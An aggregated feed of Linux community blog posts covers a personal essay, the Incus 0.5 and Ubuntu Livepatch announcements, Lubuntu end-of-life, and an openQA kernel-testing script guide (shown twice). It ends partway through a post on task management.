<div class="saboxplugin-wrap"><div class="saboxplugin-tab"><div class="saboxplugin-gravatar"><img alt="Simos Xenitellis" class="avatar avatar-100 photo" height="100" src="https://secure.gravatar.com/avatar/5c04c6b5f513d926ea9d77782a3843a1?s=100&d=wavatar&r=g" width="100" /></div><div class="saboxplugin-authorname"><a class="vcard author" href="https://blog.simos.info/author/simos/" rel="author"><span class="fn">Simos Xenitellis</span></a></div><div class="saboxplugin-desc"><div></div></div><div class="saboxplugin-web "><a href="https://blog.simos.info/" target="_self">blog.simos.info/</a></div><div class="clearfix"></div></div></div>2024-02-03T19:39:34+00:00Simos XenitellisStuart Langridge: Somewhere between silver and tin
https://www.kryogenix.org/days/2024/01/30/somewhere-between-silver-and-tin/
<p>There’s a YouTube channel called
<a href="https://youtube.com/@Clickspring">Clickspring</a>,
run by an Australian bloke called Chris
who is a machinist: a mechanical engineer
with a lathe and a mill and all manner of
little tools. I am not a machinist — at
school I was fairly inept at what we
called <span class="caps">CDT</span>, for Craft Design and
Technology, and what Americans much more
prosaically call “shop class”. My dad was,
though, or an engineer at least. Although
Chris builds clocks and beautiful brass
mechanisms, and my dad built aeroplanes.
Heavy engineering. All my engineering is
software, which actual engineers don’t
think is engineering at all, and most of
the time I don’t either. </p>
<p>You can
romanticise it: claim that software
development isn’t craft, it’s <em>art</em>. And
there is a measure of truth in this. It’s
like writing, which is the other thing I
spend a lot of time doing for money;
that’s an art, too. </p>
<p>If you’re doing it
right, at least. </p>
<p>Most of the writing
that’s done, though, isn’t art. And most
of the software development isn’t, either.
Or most of the engineering. For every one
person creating beauty in prose or code or
steel, there are fifty just there doing
the job with no emotional investment in
what they’re doing at all. Honestly,
that’s probably a good thing, and not a
complaint. While I might like the
theoretical idea of a world where
everything is hand made by someone who
cares, I don’t think that you should have
to care in order to get paid. The people
who are paying you don’t care, so you
shouldn’t have to either. </p>
<p>It’s nice if you
can swing it so you get both, though. </p>
<p>The
problem is that it’s not possible to
instruct someone to give a damn. You can’t
regulate the <span class="caps">UK</span> government into giving a
damn about people who fled a war to come
here to find their dream of being a nurse,
you can’t regulate Apple bosses into
giving a damn about the open web, you
can’t regulate CEOs into giving a damn
about their employees or governments about
their citizens or landlords about their
tenants. That’s not what regulation is
for; people who give a damn largely don’t
need regulation because they want to do
the right thing. They might need a little
steering into knowing what the right thing
is, but that’s not the same. </p>
<p>No,
regulation is there as a reluctant
compromise: since you can’t make people
care, the best you can do is in some rough
and ready fashion make them behave in a
similar way to the way they would if they
did. Of course, this is why the most
insidious kind of response is not an
attempt to evade responsibility but an attack on
the system of regulation itself. Call
judges saboteurs or protesters criminals
or insurgents patriots. And why the most
heinous betrayal is one done in the name
of the very thing you’re destroying. Claim
to represent the will of the people while
hurting those people. Claim to be
defending the law while hiding violence
and murder behind a badge. Claim privacy
as a shield for surveillance or for
exclusion. <a href="https://www.kryogenix.org/days/2017/01/26/we-all-sorta-thought/">We all sorta
thought</a>
that the system could protect us, that
those with the power could be trusted to
use it at least a little responsibly. And
the last year has been one more in a
succession of years demonstrating just how
wrong that is. This and no other is the
root from which a tyrant springs; when he
first appears he is a protector. </p>
<p>The worst
thing about it is that the urge to protect
other people is not only real but the best
thing about ourselves. When it’s actually
real. Look after others, especially those
who need it, and look after yourself,
because you’re one of the people who needs it. </p>
<p>Chris from Clickspring polishes things
to a high shine using tin, which surprised
me. I thought bringing out the beauty in
something needed a soft cloth but no, it’s
done with metal. Some things, like silver,
are basically shiny with almost no effort;
there’s a reason people have prized silver
things since before we could even write
down why, and it’s not just because you
could find lumps of it lying around the
place with no need to build a smelting
furnace. Silver looks good, and makes you
look good in turn. Tin is useful, and it
helps polish other things to a high shine. </p>
<p>Today’s my 48th
<a href="https://www.kryogenix.org/days/2023/01/30/ronin/">birthday</a>.
A highly composite number. The ways Torah
wisdom is acquired. And somewhere between
silver and tin. That sounds <span class="caps">OK</span> to me.</p>2024-01-30T21:50:00+00:00silStéphane Graber: Announcing Incus 0.5
https://stgraber.org/2024/01/26/announcing-incus-0-5/
<p>Incus 0.5 is now out as the first release of 2024!<br /><br />This is the first release featuring no imported changes from the LXD project, following Canonical’s decision to re-license LXD and add in a CLA. You’ll find details about that in <a data-id="1514" data-type="post" href="https://stgraber.org/2023/12/12/lxd-now-re-licensed-and-under-a-cla/">one of my previous posts</a>.</p>
<p>Overall, it’s a pretty busy release with a good mix of CLI improvements, new features for VM users, more flexibility around cluster evacuations and host shutdowns and a few more API improvements.</p>
<p>A variety of 3rd party tools have also been getting Incus support since the previous release, including, Ansible, Terraform/OpenTofu and Packer.</p>
<p>Also of note, we now have native distribution packages for Arch Linux, Debian, Gentoo, NixOS, Ubuntu and Void Linux. With ongoing work on a native Fedora package (COPR repo available until then).<br />We’ve updated our <a href="https://linuxcontainers.org/incus/docs/main/installing/">installation instructions</a> to cover all of those!</p>
<figure class="wp-block-image size-full"><a href="https://linuxcontainers.org/incus/try-it/" rel="noreferrer noopener" target="_blank"><img alt="" class="wp-image-1550" height="462" src="https://stgraber.org/wp-content/uploads/2024/01/Screenshot-from-2024-01-25-23-25-28.png" width="694" /></a></figure>
<p>The full announcement and changelog can be <a href="https://discuss.linuxcontainers.org/t/incus-0-5-has-been-released/18814" rel="noreferrer noopener" target="_blank">found here</a>.<br />And for those who prefer videos, here’s the release overview video:</p>
<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
</div></figure>
<p>As always, you can take Incus up for a spin through our online demo service at: <a href="https://linuxcontainers.org/incus/try-it/" rel="noreferrer noopener" target="_blank">https://linuxcontainers.org/incus/try-it/</a></p>
<p>Just a quick reminder that my company is offering commercial support on Incus, ranging from by-the-hour support contracts to one-off services on things like initial migration from LXD, review of your deployment to squeeze the most out of Incus or even feature sponsorship.<br />You’ll find all details of that here: <a href="https://zabbly.com/incus">https://zabbly.com/incus</a></p>
<p>Donations towards my work on this and other open source projects is also always appreciated, you can find me on <a href="https://github.com/sponsors/stgraber">Github Sponsors</a>, <a href="https://patreon.com/stgraber">Patreon</a> and <a href="https://ko-fi.com/stgraber">Ko-fi</a>.</p>
<p>And lastly, a quick note that I’ll be at <a href="https://fosdem.org">FOSDEM</a> next week, so if you’re attending and want to come say hi, you’ll find me in the containers devroom on Saturday and the kernel devroom on Sunday!</p>2024-01-26T21:45:54+00:00Stéphane GraberDimitri John Ledkov: Ubuntu Livepatch service now supports over 60 different kernels
http://blog.surgut.co.uk/2024/01/ubuntu-livepatch-fips-s390-arm64.html
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgECGwNOL2qcUgUIbptrFlOV-rAL4ehu3xDLwf2sk_MUkI4x6O1Y4WcRs9pueMk-pxvXfdPG-kTFV8if3OLCwQhimAVsZ9gaod02j-jwsP-Cr3bpf2Jx_oH1k-WfIo4GV4iy5Tr_uQ0StaR2F46r7RDzFJx3SXFs7sComSKPFkOJRhlwAVBGXOCaJKGGxE/s1024/_d0db3ba5-728b-4c40-b8d1-fa6d434b7667.jpeg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1024" data-original-width="1024" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgECGwNOL2qcUgUIbptrFlOV-rAL4ehu3xDLwf2sk_MUkI4x6O1Y4WcRs9pueMk-pxvXfdPG-kTFV8if3OLCwQhimAVsZ9gaod02j-jwsP-Cr3bpf2Jx_oH1k-WfIo4GV4iy5Tr_uQ0StaR2F46r7RDzFJx3SXFs7sComSKPFkOJRhlwAVBGXOCaJKGGxE/w320-h320/_d0db3ba5-728b-4c40-b8d1-fa6d434b7667.jpeg" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Linux kernel getting a livepatch whilst running a marathon. Generated with AI.</td></tr></tbody></table><p><a href="https://ubuntu.com/security/livepatch" target="_blank">Livepatch service</a> eliminates the need for unplanned maintenance windows for high and critical severity kernel vulnerabilities by patching the Linux kernel while the system runs. Originally the service <a href="https://lists.ubuntu.com/archives/ubuntu-announce/2016-October/000214.html">launched</a> in 2016 with just a single kernel flavour supported.</p><p>Over the years, additional kernels were added: new LTS releases, ESM kernels, Public Cloud kernels, and most recently HWE kernels too.</p><p>Recently livepatch support was expanded for FIPS compliant kernels, Public cloud FIPS compliant kernels, and as well IBM Z (mainframe) kernels. Bringing the total of kernel flavours support to over 60 distinct kernel flavours supported in parallel. The table of <a href="https://ubuntu.com/security/livepatch/docs/livepatch/reference/kernels">supported kernels</a> in the documentation lists the supported kernel flavours ABIs, the duration of individual build's support window, supported architectures, and the Ubuntu release. This work was only possible thanks to the collaboration with the Ubuntu Certified Public Cloud team, engineers at IBM for IBM Z (s390x) support, Ubuntu Pro team, Livepatch server & client teams.</p><p>It is a great milestone, and I personally enjoy seeing the non-intrusive popup on my Ubuntu Desktop that a kernel livepatch was applied to my running system. I do enable <a href="https://ubuntu.com/pro">Ubuntu Pro</a> on my personal laptop thanks to the free Ubuntu Pro subscription for individuals.</p><p>What's next? The next frontier is supporting ARM64 kernels. The Canonical kernel team has completed the gap analysis to start supporting Livepatch Service for ARM64. Upstream Linux requires development work on the consistency model to fully support livepatch on ARM64 processors. Livepatch code changes are applied on a per-task basis, when the task is deemed safe to switch over. This safety check depends mostly on kernel stacktraces. For these checks, CONFIG_HAVE_RELIABLE_STACKTRACE needs to be available in the upstream ARM64 kernel. (see <a href="https://www.kernel.org/doc/html/latest/livepatch/livepatch.html#adding-consistency-model-support-to-new-architectures" target="_blank">The Linux Kernel Documentation</a>). There are preliminary patches that enable reliable stacktraces on ARM64, <a href="https://github.com/dynup/kpatch/pull/1302#issue-1375125587" target="_blank">however these turned out to be problematic</a> as there are lots of <a href="https://lore.kernel.org/all/20220707150134.4614-1-madvenka@linux.microsoft.com/#r">fix revisions</a> that came after the initial patchset that AWS ships with 5.10. This is a call for help from any interested parties. If you have engineering resources and are interested in bringing Livepatch Service to your ARM64 platforms, please reach out to the Canonical Kernel team on the public Ubuntu Matrix, Discourse, and mailing list. If you want to chat in person, see you at <a href="https://fosdem.org/2024/">FOSDEM</a> next weekend.</p>2024-01-25T18:01:15+00:00Dimitri John LedkovLubuntu Blog: Lubuntu 23.04 Reaches End-of-Life – Upgrade to 23.10 Now
https://lubuntu.me/lubuntu-23-04-end-of-life/
Lubuntu 23.04 has reached end-of-life as of today, January 25, 2024. It will no longer receive software updates (including security fixes) or technical support. All users are urged to upgrade to Lubuntu 23.10 as soon as possible to stay secure. You can upgrade to Lubuntu 23.10 without reinstalling Lubuntu from scratch by following the official […]2024-01-25T16:18:38+00:00Aaron RainboltSantiago Zarate: Testing kernels with sporadic issues until heisenbug shows in openQA
https://foursixnine.io//blog/linux/tech/qualityassurance/openqa/2024/01/25/testingkernelswithsporadicissuesuntilheisenbugshowsinopenqa.html
<p>This is a follow up to my previous post about <a href="https://foursixnine.io/blog/linux/tech/qualityassurance/2021/06/18/How-to-test-things-with-openQA-without-running-your-own-instance">How to test things with openQA without running your own instance</a>, so you might want to read that first.</p>
<p>Now, while hunting for <a href="https://bugzilla.suse.com/show_bug.cgi?id=1219073">bsc#1219073</a> which is quite sporadic, and took quite some time to show up often enough so that
became noticeable and traceable, once stars aligned and managed to find a way to get a higher failure rate,
I wanted to have a way for me and for the developer to test the kernel with the different patches to help with the bisecting
and ease the process of finding the culprit and finding a solution for it.</p>
<p>I came with a fairly simple solution, using the <code class="language-plaintext highlighter-rouge">--repeat</code> parameter of the openqa-cli tool, and a simple shell script to run it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">```</span>bash
<span class="nv">$ </span><span class="nb">cat</span> ~/Downloads/trigger-kernel-openqa-mdadm.sh
<span class="c"># the kernel repo must be the one without https; tests don't have the kernel CA installed</span>
<span class="nv">KERNEL</span><span class="o">=</span><span class="s2">"KOTD_REPO=http://download.opensuse.org/repositories/Kernel:/linux-next/standard/"</span>
<span class="nv">REPEAT</span><span class="o">=</span><span class="s2">"--repeat 100"</span> <span class="c"># using 100 by default</span>
<span class="nv">JOBS</span><span class="o">=</span><span class="s2">"https://openqa.your.instan.ce/tests/13311283 https://openqa.your.instan.ce/tests/13311263 https://openqa.your.instan.ce/tests/13311276 https://openqa.your.instan.ce/tests/13311278"</span>
<span class="nv">BUILD</span><span class="o">=</span><span class="s2">"bsc1219073"</span>
<span class="k">for </span>JOB <span class="k">in</span> <span class="nv">$JOBS</span><span class="p">;</span> <span class="k">do
</span>openqa-clone-job <span class="nt">--within-instance</span> <span class="nv">$JOB</span> <span class="nv">CASEDIR</span><span class="o">=</span>https://github.com/foursixnine/os-autoinst-distri-opensuse.git#tellmewhy <span class="k">${</span><span class="nv">REPEAT</span><span class="k">}</span> <span class="se">\</span>
<span class="nv">_GROUP</span><span class="o">=</span>DEVELOPERS <span class="k">${</span><span class="nv">KERNEL</span><span class="k">}</span> <span class="nv">BUILD</span><span class="o">=</span><span class="k">${</span><span class="nv">BUILD</span><span class="k">}</span> <span class="nv">FORCE_SERIAL_TERMINAL</span><span class="o">=</span>1<span class="se">\</span>
<span class="nv">TEST</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">BUILD</span><span class="k">}</span><span class="s2">_checkmdadm"</span> <span class="nv">YAML_SCHEDULE</span><span class="o">=</span>schedule/qam/QR/15-SP5/textmode/textmode-skip-registration-extra.yaml <span class="nv">INSTALLONLY</span><span class="o">=</span>0 <span class="nv">DESKTOP</span><span class="o">=</span>textmode<span class="se">\</span>
|& <span class="nb">tee </span>jobs-launched.list<span class="p">;</span>
<span class="k">done</span><span class="p">;</span>
</code></pre></div></div>
<p>There are few things to note here:</p>
<ul>
<li>the kernel repo must be the one without https; tests don’t have the CA installed by default.</li>
<li>the <code class="language-plaintext highlighter-rouge">--repeat</code> parameter is set to 100 by default, but can be changed to whatever number is desired.</li>
<li>the <code class="language-plaintext highlighter-rouge">JOBS</code> variable contains the list of jobs to clone and run, having all supported architecures is recommended (at least for this case)</li>
<li>the <code class="language-plaintext highlighter-rouge">BUILD</code> variable can be anything, but it’s recommended to use the bug number or something that makes sense.</li>
<li>the <code class="language-plaintext highlighter-rouge">TEST</code> variable is used to set the name of the test as it will show in the test overview page, you can use <code class="language-plaintext highlighter-rouge">TEST+=foo</code> if you want to append text instead of overriding it, the <code class="language-plaintext highlighter-rouge">--repeat</code> parameter, will append a number incrementally to your test, see <a href="https://github.com/os-autoinst/openQA/pull/5331">os-autoinst/openQA#5331</a> for more details.</li>
<li>the <code class="language-plaintext highlighter-rouge">YAML_SCHEDULE</code> variable is used to set the yaml schedule to use, there are other ways to modify the schedule, but in this case I want to perform a full installation</li>
</ul>
<h3 id="running-the-script">Running the script</h3>
<ul>
<li>Ensure you can run at least the openQA client; if you need API keys, see post linked at the beginning of this post</li>
<li>replace the kernel repo with your branch in line 5</li>
<li>run the script <code class="language-plaintext highlighter-rouge">$ bash trigger-kernel-openqa-mdadm.sh</code> and you should get the following, times the <code class="language-plaintext highlighter-rouge">--repeat</code> if you modified it</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1 job has been created:
- sle-15-SP5-Full-QR-x86_64-Build134.5-skip_registration+workaround_modules@64bit -> https://openqa.your.instan.ce/tests/13345270
</code></pre></div></div>
<p>Each URL, will be a job triggered in openQA, depending on the load and amount of jobs, you might need to wait quite a bit (some users can help moving the priority of these jobs so it executes faster)</p>
<h2 id="the-review-stuff">The review stuff:</h2>
<h3 id="looking-at-the-results">Looking at the results</h3>
<ul>
<li>Go to https://openqa.your.instan.ce/tests/overview?distri=sle&build=bsc1219073&version=15-SP5 or from any job from the list above click on <code class="language-plaintext highlighter-rouge">Job groups</code> menu at the top, and select <code class="language-plaintext highlighter-rouge">Build bsc1219073</code></li>
<li>Click on “Filter”</li>
<li>type the name of the test module to filter in the field <em>Module name</em>, e.g <code class="language-plaintext highlighter-rouge">mdadm</code>, and select the desired result of such test module e.g <code class="language-plaintext highlighter-rouge">failed</code> (you can also type, and select multiple result types)</li>
<li>Click Apply</li>
<li>The overall summary of the build overview page, will provide you with enough information to calculate the pass/fail rate.</li>
</ul>
<p>A rule of thumb: anything above 5% is bad, but you need to also understand your sample size + the setup you’re using; YMMV.</p>
<h3 id="aint-nobody-got-time-to-wait">Ain’t nobody got time to wait</h3>
<p>The script will generate a file called: <code class="language-plaintext highlighter-rouge">jobs-launched.list</code>, in case you absolutely need to change the priority of the jobs, set it to 45, so it runs higher than default priority, which is 50
<code class="language-plaintext highlighter-rouge">cat jobs-launched.list | grep https | sed -E 's/^.*->\s.*tests\///' | xargs -r -I {} bash -c "openqa-cli api --osd -X POST jobs/{}/prio prio=45; sleep 1"</code></p>
<h2 id="the-magic">The magic</h2>
<p>The actual magic is in the schedule, so right after booting the system and setting it up, before running the mdadm test, I inserted the <code class="language-plaintext highlighter-rouge">update_kernel</code> module, which will add the kernel repo specified by KOTD_REPO, and install the kernel from there, reboot the system, and leave the system ready for the actual test,
however I had to add very small changes:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">---
</span> tests/kernel/update_kernel.pm | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/tests/kernel/update_kernel.pm b/tests/kernel/update_kernel.pm
<span class="gh">index 1d6312bee0dc..048da593f68f 100644
</span><span class="gd">--- a/tests/kernel/update_kernel.pm
</span><span class="gi">+++ b/tests/kernel/update_kernel.pm
</span><span class="p">@@ -398,7 +398,7 @@</span> sub boot_to_console {
sub run {
my $self = shift;
<span class="gd">- if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional) {
</span><span class="gi">+ if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional || get_var('FORCE_SERIAL_TERMINAL')) {
</span> # System is already booted after installation, just switch terminal
select_serial_terminal;
} else {
<span class="p">@@ -476,7 +476,7 @@</span> sub run {
reboot_on_changes;
} elsif (!get_var('KGRAFT')) {
power_action('reboot', textmode => 1);
<span class="gd">- $self->wait_boot if get_var('LTP_BAREMETAL');
</span><span class="gi">+ $self->wait_boot if (get_var('FORCE_SERIAL_TERMINAL') || get_var('LTP_BAREMETAL'));
</span> }
}
</code></pre></div></div>
<p>Likely I’ll make a new pull request to have this in the test distribution, but for now this is good enough to help kernel developers
to do some self-service and trigger their own openQA tests, that have many more tests (hopefully in parallel) and faster than if there
was a person doing all of this manually.</p>
<p>Special thanks to the QE Kernel team, who do the amazing job of thinking of some scenarios like this, because they save a lot
of time.</p>2024-01-25T00:00:00+00:00Santiago Zarate: Testingkernelswithsporadicissuesuntilheisenbugshowsinopenqa
https://foursixnine.io//2024/01/25/testingkernelswithsporadicissuesuntilheisenbugshowsinopenqa.html
<p>layout: post
title: Testing kernels with sporadic issues until heisenbug shows in openQA
categories:</p>
<ul>
<li>blog</li>
<li>linux</li>
<li>tech</li>
<li>qualityassurance</li>
<li>openqa
generated on: 2024-01-25
—
This is a follow up to my previous post about <a href="https://foursixnine.io/blog/linux/tech/qualityassurance/2021/06/18/How-to-test-things-with-openQA-without-running-your-own-instance">How to test things with openQA without running your own instance</a>, so you might want to read that first.</li>
</ul>
<p>Now, while hunting for <a href="https://bugzilla.suse.com/show_bug.cgi?id=1219073">bsc#1219073</a> which is quite sporadic, and took quite some time to show up often enough so that
became noticeable and traceable, once stars aligned and managed to find a way to get a higher failure rate,
I wanted to have a way for me and for the developer to test the kernel with the different patches to help with the bisecting
and ease the process of finding the culprit and finding a solution for it.</p>
<p>I came with a fairly simple solution, using the <code class="language-plaintext highlighter-rouge">--repeat</code> parameter of the openqa-cli tool, and a simple shell script to run it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">```</span>bash
<span class="nv">$ </span><span class="nb">cat</span> ~/Downloads/trigger-kernel-openqa-mdadm.sh
<span class="c"># the kernel repo must be the one without https; tests don't have the kernel CA installed</span>
<span class="nv">KERNEL</span><span class="o">=</span><span class="s2">"KOTD_REPO=http://download.opensuse.org/repositories/Kernel:/linux-next/standard/"</span>
<span class="nv">REPEAT</span><span class="o">=</span><span class="s2">"--repeat 100"</span> <span class="c"># using 100 by default</span>
<span class="nv">JOBS</span><span class="o">=</span><span class="s2">"https://openqa.your.instan.ce/tests/13311283 https://openqa.your.instan.ce/tests/13311263 https://openqa.your.instan.ce/tests/13311276 https://openqa.your.instan.ce/tests/13311278"</span>
<span class="nv">BUILD</span><span class="o">=</span><span class="s2">"bsc1219073"</span>
<span class="k">for </span>JOB <span class="k">in</span> <span class="nv">$JOBS</span><span class="p">;</span> <span class="k">do
</span>openqa-clone-job <span class="nt">--within-instance</span> <span class="nv">$JOB</span> <span class="nv">CASEDIR</span><span class="o">=</span>https://github.com/foursixnine/os-autoinst-distri-opensuse.git#tellmewhy <span class="k">${</span><span class="nv">REPEAT</span><span class="k">}</span> <span class="se">\</span>
<span class="nv">_GROUP</span><span class="o">=</span>DEVELOPERS <span class="k">${</span><span class="nv">KERNEL</span><span class="k">}</span> <span class="nv">BUILD</span><span class="o">=</span><span class="k">${</span><span class="nv">BUILD</span><span class="k">}</span> <span class="nv">FORCE_SERIAL_TERMINAL</span><span class="o">=</span>1<span class="se">\</span>
<span class="nv">TEST</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">BUILD</span><span class="k">}</span><span class="s2">_checkmdadm"</span> <span class="nv">YAML_SCHEDULE</span><span class="o">=</span>schedule/qam/QR/15-SP5/textmode/textmode-skip-registration-extra.yaml <span class="nv">INSTALLONLY</span><span class="o">=</span>0 <span class="nv">DESKTOP</span><span class="o">=</span>textmode<span class="se">\</span>
|& <span class="nb">tee </span>jobs-launched.list<span class="p">;</span>
<span class="k">done</span><span class="p">;</span>
</code></pre></div></div>
<p>There are few things to note here:</p>
<ul>
<li>the kernel repo must be the one without https; tests don’t have the CA installed by default.</li>
<li>the <code class="language-plaintext highlighter-rouge">--repeat</code> parameter is set to 100 by default, but can be changed to whatever number is desired.</li>
<li>the <code class="language-plaintext highlighter-rouge">JOBS</code> variable contains the list of jobs to clone and run, having all supported architecures is recommended (at least for this case)</li>
<li>the <code class="language-plaintext highlighter-rouge">BUILD</code> variable can be anything, but it’s recommended to use the bug number or something that makes sense.</li>
<li>the <code class="language-plaintext highlighter-rouge">TEST</code> variable is used to set the name of the test as it will show in the test overview page, you can use <code class="language-plaintext highlighter-rouge">TEST+=foo</code> if you want to append text instead of overriding it, the <code class="language-plaintext highlighter-rouge">--repeat</code> parameter, will append a number incrementally to your test, see <a href="https://github.com/os-autoinst/openQA/pull/5331">os-autoinst/openQA#5331</a> for more details.</li>
<li>the <code class="language-plaintext highlighter-rouge">YAML_SCHEDULE</code> variable is used to set the yaml schedule to use, there are other ways to modify the schedule, but in this case I want to perform a full installation</li>
</ul>
<h3 id="running-the-script">Running the script</h3>
<ul>
<li>Ensure you can run at least the openQA client; if you need API keys, see post linked at the beginning of this post</li>
<li>replace the kernel repo with your branch in line 5</li>
<li>run the script <code class="language-plaintext highlighter-rouge">$ bash trigger-kernel-openqa-mdadm.sh</code> and you should get the following, times the <code class="language-plaintext highlighter-rouge">--repeat</code> if you modified it</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1 job has been created:
- sle-15-SP5-Full-QR-x86_64-Build134.5-skip_registration+workaround_modules@64bit -> https://openqa.your.instan.ce/tests/13345270
</code></pre></div></div>
<p>Each URL, will be a job triggered in openQA, depending on the load and amount of jobs, you might need to wait quite a bit (some users can help moving the priority of these jobs so it executes faster)</p>
<h2 id="the-review-stuff">The review stuff:</h2>
<h3 id="looking-at-the-results">Looking at the results</h3>
<ul>
<li>Go to https://openqa.your.instan.ce/tests/overview?distri=sle&build=bsc1219073&version=15-SP5 or from any job from the list above click on <code class="language-plaintext highlighter-rouge">Job groups</code> menu at the top, and select <code class="language-plaintext highlighter-rouge">Build bsc1219073</code></li>
<li>Click on “Filter”</li>
<li>type the name of the test module to filter in the field <em>Module name</em>, e.g <code class="language-plaintext highlighter-rouge">mdadm</code>, and select the desired result of such test module e.g <code class="language-plaintext highlighter-rouge">failed</code> (you can also type, and select multiple result types)</li>
<li>Click Apply</li>
<li>The overall summary of the build overview page, will provide you with enough information to calculate the pass/fail rate.</li>
</ul>
<p>A rule of thumb: anything above 5% is bad, but you need to also understand your sample size + the setup you’re using; YMMV.</p>
<h3 id="aint-nobody-got-time-to-wait">Ain’t nobody got time to wait</h3>
<p>The script will generate a file called: <code class="language-plaintext highlighter-rouge">jobs-launched.list</code>, in case you absolutely need to change the priority of the jobs, set it to 45, so it runs higher than default priority, which is 50
<code class="language-plaintext highlighter-rouge">cat jobs-launched.list | grep https | sed -E 's/^.*->\s.*tests\///' | xargs -r -I {} bash -c "openqa-cli api --osd -X POST jobs/{}/prio prio=45; sleep 1"</code></p>
<h2 id="the-magic">The magic</h2>
<p>The actual magic is in the schedule, so right after booting the system and setting it up, before running the mdadm test, I inserted the <code class="language-plaintext highlighter-rouge">update_kernel</code> module, which will add the kernel repo specified by KOTD_REPO, and install the kernel from there, reboot the system, and leave the system ready for the actual test,
however I had to add very small changes:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">---
</span> tests/kernel/update_kernel.pm | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/tests/kernel/update_kernel.pm b/tests/kernel/update_kernel.pm
<span class="gh">index 1d6312bee0dc..048da593f68f 100644
</span><span class="gd">--- a/tests/kernel/update_kernel.pm
</span><span class="gi">+++ b/tests/kernel/update_kernel.pm
</span><span class="p">@@ -398,7 +398,7 @@</span> sub boot_to_console {
sub run {
my $self = shift;
<span class="gd">- if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional) {
</span><span class="gi">+ if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional || get_var('FORCE_SERIAL_TERMINAL')) {
</span> # System is already booted after installation, just switch terminal
select_serial_terminal;
} else {
<span class="p">@@ -476,7 +476,7 @@</span> sub run {
reboot_on_changes;
} elsif (!get_var('KGRAFT')) {
power_action('reboot', textmode => 1);
<span class="gd">- $self->wait_boot if get_var('LTP_BAREMETAL');
</span><span class="gi">+ $self->wait_boot if (get_var('FORCE_SERIAL_TERMINAL') || get_var('LTP_BAREMETAL'));
</span> }
}
</code></pre></div></div>
<p>Likely I’ll make a new pull request to have this in the test distribution, but for now this is good enough to help kernel developers
to do some self-service and trigger their own openQA tests, that have many more tests (hopefully in parallel) and faster than if there
was a person doing all of this manually.</p>
<p>Special thanks to the QE Kernel team, who do the amazing job of thinking of some scenarios like this, because they save a lot
of time.</p>2024-01-25T00:00:00+00:00Launchpad News: Launchpad-linked federated Matrix accounts
https://blog.launchpad.net/general/launchpad-verified-federated-matrix-accounts
<p>Users can now add their Matrix accounts to their profile in Launchpad, as requested by Canonical’s Community team.</p>
<p>We also took the chance to slightly rework the frontend and how we display social accounts in the user profiles. Instead of having different sections in the profile for each social account , all social accounts are now all under a “Social Accounts” section.</p>
<p>Adding a new matrix account to your profile works similarly to how it has always worked for other accounts. Under the “Social Accounts” section in your user profile, you should now see a “No matrix accounts registered” and an edit button that will lead you to the Matrix accounts edit page. To edit, remove or add new ones, you will see an edit button in front of your newly added accounts in your profile.</p>
<p>We also added new API endpoints <code>Person.social_accounts</code> and <code>Person.getSocialAccountsByPlatform()</code> that will list the social accounts for a user. For more information, see our <a href="https://launchpad.net/+apidoc/devel.html#social_account">API documentation</a>.</p>
<p>Currently, only Matrix was added as a social platform. But during this process, we made it much easier for Launchpad developers to add new social platforms to Launchpad in the future.</p>2024-01-22T16:30:05+00:00ines-almeidaColin Watson: Task management
https://www.chiark.greenend.org.uk/~cjwatson/blog/task-management.html
<p>Now that I’m <a href="https://www.chiark.greenend.org.uk/~cjwatson/blog/going-freelance.html">freelancing</a>, I need to
actually track my time, which is something I’ve had the luxury of not having
to do before. That meant something of a rethink of the way I’ve been
keeping track of my to-do list. Up to now that was a combination of things
like the bug lists for the projects I’m working on at the moment, whatever
task tracking system Canonical was using at the moment (Jira when I left),
and a giant flat text file in which I recorded logbook-style notes of what
I’d done each day plus a few extra notes at the bottom to remind myself of
particularly urgent tasks. I <em>could</em> have started manually adding times to
each logbook entry, but ugh, let’s not.</p>
<p>In general, I had the following goals (which were a bit reminiscent of my
<a href="https://www.chiark.greenend.org.uk/~cjwatson/blog/new-address-book.html">address book</a>):</p>
<ul>
<li>free software throughout</li>
<li>storage under my control</li>
<li>ability to annotate tasks with URLs (especially bugs and merge requests)</li>
<li>lightweight time tracking (I’m <span class="caps">OK</span> with having to explicitly tell it when
I start and stop tasks)</li>
<li>ability to drive everything from the command line</li>
<li>decent filtering so I don’t have to look at my entire to-do list all the time</li>
<li>ability to easily generate billing information for multiple clients</li>
<li>optionally, integration with Android (mainly so I can tick off personal
tasks like “change bedroom lightbulb” or whatever that don’t involve
being near a computer)</li>
</ul>
<p>I didn’t do an elaborate evaluation of multiple options, because I’m not
trying to come up with the best possible solution for a client here. Also,
there are a bazillion to-do list trackers out there and if I tried to
evaluate them all I’d never do anything else. I just wanted something that
works well enough for me.</p>
<p>Since it <a href="https://fosstodon.org/@dondelelcaro/111682622624262162">came up on
Mastodon</a>: a bunch
of people swear by <a href="https://orgmode.org/">Org mode</a>, which I know can do at
least some of this sort of thing. However, I don’t use Emacs and don’t plan
to use Emacs. <a href="https://github.com/nvim-orgmode/orgmode">nvim-orgmode</a> does
